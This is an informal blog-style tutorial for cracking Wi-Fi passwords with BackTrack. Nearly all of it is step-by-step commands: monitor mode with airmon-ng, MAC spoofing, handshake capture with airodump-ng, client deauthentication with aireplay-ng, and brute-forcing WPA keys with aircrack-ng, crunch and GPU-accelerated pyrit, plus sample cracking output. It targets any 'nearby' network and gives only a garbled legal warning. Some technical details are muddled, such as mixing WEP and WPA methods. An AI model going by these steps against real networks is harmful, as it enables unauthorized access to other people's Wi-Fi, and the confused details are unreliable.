WARNING:Don't Hack any authorized router,otherwise you'll be put into jail.  


 certain things to be followed..such as creating virtual machine!!!running in your OS if you have windows..!!

• Download VMware Workstation here: http://www.softpedia.com/get/System/OS-Enhancements/VMware-Workstation.shtml 
• Create a new virtual machine like i have created...!!!
   

•  press enter......go on

•  At BOOT Menu....just type startx

• an Now your all set to go...just simply follow below steps...now  

Rules to Follow

• A Backtrack Live CD: the Linux Live CD that lets you do all sorts of security testing and tasks. Download yourself a copy of the CD and burn it, or load it up in VMware to get started.
• here a link to download it http://www.backtrack-linux.org/downloads
• I highly recommend you to download backtrck 32 bit version coz it runs smoothly...in win7 64bit through vmware workstation.......... /
• A nearby WEP-enabled Wi-Fi network 
• Patience with the command line. This is an ten-step process that requires typing in long, arcane commands and waiting around for your Wi-Fi card to collect data in order to crack the password. Like the doctor said to the short person, be a little patient.                                            

 Steps to Follow:

Step 1 :
airmon-ng

The result will be something like :Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step 2 :airmon-ng start wlan0

Step 3 (Optional) :

Change the mac address of the mon0 interface.ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Step 4 :airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step 5 :airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff --ivs mon0

*where -c is the channel
           -w is the file to be written
           --bssid is the BSSID

This terminal is keeping running.

Step 6 :

open another terminal.aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step 7 :

Use the John the Ripper as word list to crack the WPA/WP2 password.aircrack-ng -w /pentest/passwords/john/password.lst wpacrack-01.ivs

Step 8 (Optional) :ITS AN OPTIONAL STEP,,,,,,

If you do not want to use John the Ripper as word list, you can use Crunch.

Go to the official site of crunch.http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download
tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | aircrack-ng wpacrack-01.ivs -b ff:ff:ff:ff:ff:ff -w -

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

(B) nVidia Display Card with CUDA

If you have nVidia card that with CUDA, you can use pyrit to crack the password with crunch.

Step a :airmon-ng

The result will be something like :Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step b :airmon-ng start wlan0

Step c (Optional) :

Change the mac address of the mon0 interface.ifconfig mon0 down
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up

Step d :airodump-ng mon0

Then, press "Ctrl+c" to break the program.

Step e :airodump-ng -c 3 -w wpacrack --bssid ff:ff:ff:ff:ff:ff mon0

Step f :

open another terminal.aireplay-ng -0 1 -a ff:ff:ff:ff:ff:ff -c 99:88:77:66:55:44 mon0

*where -a is the BSSID
           -c is the client MAC address (STATION)

Wait for the handshake.

Step g :

If the following programs are not yet installed, please do it.apt-get install libghc6-zlib-dev libssl-dev python-dev libpcap-dev python-scapy

Step h :

Go to the official site of crunch.http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/

Download crunch 3.0 (the current version at the time of this writing).http://sourceforge.net/projects/crunch-wordlist/files/crunch-wordlist/crunch-3.0.tgz/download
tar -xvzf crunch-3.0.tgz
cd crunch-3.0
make
make install

Step i :

Go to the official site of pyrit.http://code.google.com/p/pyrit/downloads/list

Download pyrit and cpyrit-cuda (the current version is 0.4.0 at the time of this writing).tar -xzvf pyrit-0.4.0.tar.gz
cd pyrit-0.4.0
python setup.py build
sudo python setup.py install
tar -xzvf cpyrit-cuda-0.4.0.tar.gz
cd cpyrit-cuda-0.4.0
python setup.py build
sudo python setup.py install

Step j :/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r wpacrack-01.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step k (Optional) :

If you encounter error when reading the wpacrack-01.cap, you should do the following step.pyrit -r wpacrack-01.cap -o new.cap stripLive
/pentest/passwords/crunch/crunch 8 16 -f /pentest/passwords/crunch/charset.lst mixalpha-numeric-all-space-sv | pyrit --all-handshakes -r new.cap -b ff:ff:ff:ff:ff:ff -i - attack_passthrough

*where 8 16 is the length of the password, i.e. from 8 characters to 16 characters.

Step l :

Then, you will see something similar to the following.Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'new.cap' (1/1)...
Parsed 71 packets (71 802.11-packets), got 55 AP(s)

Tried 17960898 PMKs so far; 17504 PMKs per second.

Remarks :

If you have an nVidia GeForce GTX460 (336 CUDA cores), the speed of cracking is about 17,000 passwords per second.

To test if your wireless card (either USB or PCI-e) can do the injection or not :airodump-ng mon0
Open another terminal.aireplay-ng -9 mon0

Make sure pyrit workable on your system :pyrit list_cores

That's all! See you. THANK YOU AND plz follow me in blog.............

                                       By- Shubham Chaudhari